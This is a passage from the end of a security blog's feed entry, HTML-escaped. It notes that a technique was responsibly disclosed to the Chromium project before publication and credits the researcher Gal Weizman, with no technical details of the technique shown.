&lt;p&gt;This technique has been responsibly &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=988267&quot;&gt;disclosed&lt;/a&gt; to the &lt;a href=&quot;https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html&quot;&gt;chromium project&lt;/a&gt; more than 90 days before publishing this article.&lt;/p&gt;
&lt;h4 id=&quot;hope-you-guys-enjoyed-this-&quot;&gt;Hope you guys enjoyed this! :)&lt;/h4&gt;
&lt;p&gt;This research was conducted and published by &lt;a href=&quot;http://github.com/weizman/&quot;&gt;Gal Weizman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 

</feed>
